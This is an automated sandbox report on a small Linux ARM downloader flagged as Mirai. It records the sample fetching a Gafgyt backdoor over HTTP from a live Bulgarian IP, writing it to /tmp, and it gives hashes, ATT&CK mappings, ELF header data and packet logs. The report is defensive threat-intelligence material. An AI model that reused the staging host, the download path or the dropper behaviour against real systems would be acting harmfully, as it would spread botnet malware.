Edit tour

Linux Analysis Report
dlr.arm7.elf

Overview

General Information

Sample name:	dlr.arm7.elf
Analysis ID:	1581730
MD5:	38fc85d15c59d45d9f27cf5d61beb56a
SHA1:	89c028585b2a759c3d40bab2e0e7cef84d106c82
SHA256:	68ee0e64a6529047bc35e257b8ae235bc78d61b648db765b6f01e6e6a0ff41eb
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	48
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

HTTP GET or POST without a user agent

Sample and/or dropped files contains symbols with suspicious names

Sample has stripped symbol table

Uses the "uname" system call to query kernel version information (possible evasion)

Writes ELF files to disk

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581730
Start date and time:	2024-12-28 21:11:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	dlr.arm7.elf
Detection:	MAL
Classification:	mal48.linELF@0/1@0/0

Warnings

Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: dlr.arm7.elf

Runtime Messages

Command:	/tmp/dlr.arm7.elf
PID:	5453
Exit Code:	5
Exit Code Info:
Killed:	False
Standard Output:	LIZRD lzrd
Standard Error:

Process Tree

system is lnxubuntu20

dlr.arm7.elf (PID: 5453, Parent: 5374, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/dlr.arm7.elf

cleanup

Yara Signatures

⊘No yara matches

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: dlr.arm7.elf

ReversingLabs: Detection: 43%

Source: global traffic

HTTP traffic detected: GET /binaries/arm7 HTTP/1.0Data Raw: 00 00 00 Data Ascii:

Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146

Source: global traffic

HTTP traffic detected: GET /binaries/arm7 HTTP/1.0Data Raw: 00 00 00 Data Ascii:

Source: lzrd.12.dr

ELF static info symbol of dropped file: __gnu_unwind_execute

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal48.linELF@0/1@0/0

Source: /tmp/dlr.arm7.elf (PID: 5453)

File written: /tmp/lzrd

Jump to dropped file

Source: /tmp/dlr.arm7.elf (PID: 5453)

Queries kernel information via 'uname':

Jump to behavior

Source: dlr.arm7.elf, 5453.1.0000559412cf0000.0000559412e1e000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: dlr.arm7.elf, 5453.1.00007ffebceb5000.00007ffebced6000.rw-.sdmp	Binary or memory string: .x86_64/usr/bin/qemu-arm/tmp/dlr.arm7.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/dlr.arm7.elf
Source: dlr.arm7.elf, 5453.1.0000559412cf0000.0000559412e1e000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: dlr.arm7.elf, 5453.1.00007ffebceb5000.00007ffebced6000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	1 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
dlr.arm7.elf	43%	ReversingLabs	Linux.Downloader.Mirai

Dropped Files

Source	Detection	Scanner	Label	Link
/tmp/lzrd	29%	ReversingLabs	Linux.Backdoor.Gafgyt

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

⊘No contacted domains info

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
83.222.191.146	unknown	Bulgaria		43561	NET1-ASBG	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
83.222.191.146	mpsl.elf	Get hash	malicious	Gafgyt	Browse
	arm4.elf	Get hash	malicious	Gafgyt	Browse
	arm5.elf	Get hash	malicious	Gafgyt	Browse
	arm7.elf	Get hash	malicious	Unknown	Browse
	mips.elf	Get hash	malicious	Gafgyt	Browse
	x86_64.elf	Get hash	malicious	Gafgyt	Browse
	arm5.elf	Get hash	malicious	Gafgyt	Browse
	mpsl.elf	Get hash	malicious	Gafgyt	Browse
	arm4.elf	Get hash	malicious	Gafgyt	Browse
	mips.elf	Get hash	malicious	Gafgyt	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NET1-ASBG	mpsl.elf	Get hash	malicious	Gafgyt	Browse	83.222.191.146
	arm4.elf	Get hash	malicious	Gafgyt	Browse	83.222.191.146
	arm5.elf	Get hash	malicious	Gafgyt	Browse	83.222.191.146
	arm7.elf	Get hash	malicious	Unknown	Browse	83.222.191.146
	mips.elf	Get hash	malicious	Gafgyt	Browse	83.222.191.146
	x86_64.elf	Get hash	malicious	Gafgyt	Browse	83.222.191.146
	arm5.elf	Get hash	malicious	Gafgyt	Browse	83.222.191.146
	mpsl.elf	Get hash	malicious	Gafgyt	Browse	83.222.191.146
	arm4.elf	Get hash	malicious	Gafgyt	Browse	83.222.191.146
	mips.elf	Get hash	malicious	Gafgyt	Browse	83.222.191.146

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

/tmp/lzrd

Download File

Process:	/tmp/dlr.arm7.elf
File Type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, with debug_info, not stripped
Category:	dropped
Size (bytes):	216266
Entropy (8bit):	6.001371963157718
Encrypted:	false
SSDEEP:	6144:w2zWorcmT+aJ1EMWZpYhEJmQ9SQO5M/RuMQewuvw:PbcmT+aXEMWZp+SRhOi/kMQewuvw
MD5:	07CF8779D4232F1D9ADC9C96C0AD9A2E
SHA1:	F32E64C3599C50087C2905BDBB65A0E024146CA1
SHA-256:	310C9EC4BF3EB88C6AB83EE5EDC629D882C97D791819A7293298907EC07F60DB
SHA-512:	14282B3B467B19561FDE1EC9FFD313BC0FE62776B997DFBF72B0B2F4A73D0553C42A210311A11D1AE0E11E7BB29253986EDD1E382382BA0F697C5E65BCDDD86A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Reputation:	low
Preview:	.ELF..............(.........4...L.......4. ...(........p$...$...$...................................................................<....V..........................................Q.td..................................-...L.................@-.,@...0....S..... 0....S........../..0...0...@..../...............-.@0....S...M.8...8......../.0....0....S.....$0....S....../........../................................. ... -...-.......-......0..._..U..H`.........p@-.......M..`... ......LP...Q....p..@......@........ ...A.......+.......A........... ...0..........'P..f<...0C.0...0...`..0..c(...0...0...`...@........... ...N....p..@..............?O.....p@..../.......... ...N..c.T.....b.T..........[......p&..... ...........................[......e&...0.................W..........T...O-..M.4.M.M...@...P.......`...P...........P........... ...C..d....A.....\:........<...L....... ...;.....U.".......4.......0z..................0...............0...........C...0...........[....... ......

Static File Info

General

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
Entropy (8bit):	4.813992175100912
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	dlr.arm7.elf
File size:	1'488 bytes
MD5:	38fc85d15c59d45d9f27cf5d61beb56a
SHA1:	89c028585b2a759c3d40bab2e0e7cef84d106c82
SHA256:	68ee0e64a6529047bc35e257b8ae235bc78d61b648db765b6f01e6e6a0ff41eb
SHA512:	56d60251548aaa01ddd0f3787ef9dd1e825cc92b2fd1758755b9a50737ff14e2e2c3bc851e8972f546809272d34fcf30652a98ebaa36257f0f2d56fb76861a9f
SSDEEP:	24:McRKGpa7Urz/jlfE4XK1G9Vev3gRGD9i8/NBuLlNH9gjSq:VRKGpa7UrLZyR3dNBuzZq
TLSH:	C331DCA2A3E09DBCC8F451BEAE5B4310B3789F40E0CB7222930C73196C1AE7C5D2704A
File Content Preview:	.ELF..............(.........4...........4. ...(.....................`...`...............`...`...`.......................`...`...`...................Q.td.........................................8...<...4...........(.."...#...../...-.......M................

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x83a8
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	4
Section Header Offset:	1208
Section Header Size:	40
Number of Section Headers:	7
Header String Table Index:	6

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.text	PROGBITS	0x80c0	0xc0	0x360	0x0	0x6	AX	16
.rodata	PROGBITS	0x8420	0x420	0x40	0x1	0x32	AMS	4
.tbss	NOBITS	0x10460	0x460	0x8	0x0	0x403	WAT	4
.got	PROGBITS	0x10460	0x460	0x10	0x4	0x3	WA	4
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x470	0x14	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x484	0x34	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x460	0x460	5.2313	0x5	R E	0x8000	.text .rodata
LOAD	0x460	0x10460	0x10460	0x10	0x10	0.3373	0x6	RW	0x8000	.tbss .got
TLS	0x460	0x10460	0x10460	0x0	0x8	0.0000	0x4	R	0x4	.tbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 28, 2024 21:11:57.403197050 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:57.522687912 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:57.523001909 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:57.524300098 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:57.643826962 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:58.822820902 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:58.822974920 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:58.822978020 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:58.823018074 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:58.823023081 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:58.823030949 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:58.823066950 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:58.823066950 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:58.823179007 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:58.823190928 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:58.823199987 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:58.823211908 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:58.823221922 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:58.823225975 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:58.823225975 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:58.823239088 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:58.823257923 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:58.823257923 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:58.823501110 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:58.823550940 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:58.942600965 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:58.942645073 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:58.942717075 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:58.942760944 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:58.946746111 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:58.946777105 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.015069008 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.015100002 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.015202999 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.015239000 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.019217014 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.019253969 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.019383907 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.027597904 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.027703047 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.028656006 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.036042929 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.036099911 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.039180994 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.044368982 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.044476032 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.045506001 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.052809954 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.052938938 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.053561926 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.061155081 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.061218023 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.062017918 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.069628954 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.069709063 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.070688009 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.078375101 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.078524113 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.079334974 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.086278915 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.086421967 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.087660074 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.093971014 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.094052076 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.095683098 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.101820946 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.144146919 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.207360029 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.207401991 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.209466934 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.209523916 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.210325003 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.214251995 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.214355946 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.214932919 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.219078064 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.219247103 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.220828056 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.223825932 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.223911047 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.225029945 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.228606939 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.228658915 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.229090929 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.233345985 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.233419895 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.234622002 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.238104105 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.238204956 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.239166021 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.242808104 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.242885113 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.243324995 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.247556925 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.247670889 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.249600887 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.252299070 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.252407074 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.254062891 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.257091999 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.257257938 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.258388042 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.264115095 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.264225960 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.264702082 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.334573030 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.334588051 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.336586952 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.348654985 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.348676920 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.350087881 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.362852097 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.362900019 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.363167048 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.367809057 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.378031015 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.378118038 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.378782988 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.487345934 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.487447023 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.488586903 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.489305973 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.489428997 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.490931034 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.493110895 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.493208885 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.493434906 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.496963978 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.497036934 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.498385906 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.500818968 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.500885010 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.501068115 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.504703045 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.504843950 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.506943941 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.610472918 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.610574961 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.610804081 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.620554924 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.620624065 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.621016026 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.827049017 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.946527958 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.946640968 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.946856976 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.948504925 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.948602915 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.949295998 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.952475071 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.952575922 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.954473019 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.956300020 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.956417084 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.957182884 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.960146904 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.960252047 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.963107109 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.964018106 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.964133978 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.965797901 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:11:59.967952967 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.967988014 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:11:59.968622923 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:00.074002028 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:00.074157953 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:00.075597048 CET	50654	80	192.168.2.13	83.222.191.146
Dec 28, 2024 21:12:00.076762915 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:00.088093996 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:00.088135958 CET	80	50654	83.222.191.146	192.168.2.13
Dec 28, 2024 21:12:00.089540005 CET	50654	80	192.168.2.13	83.222.191.146
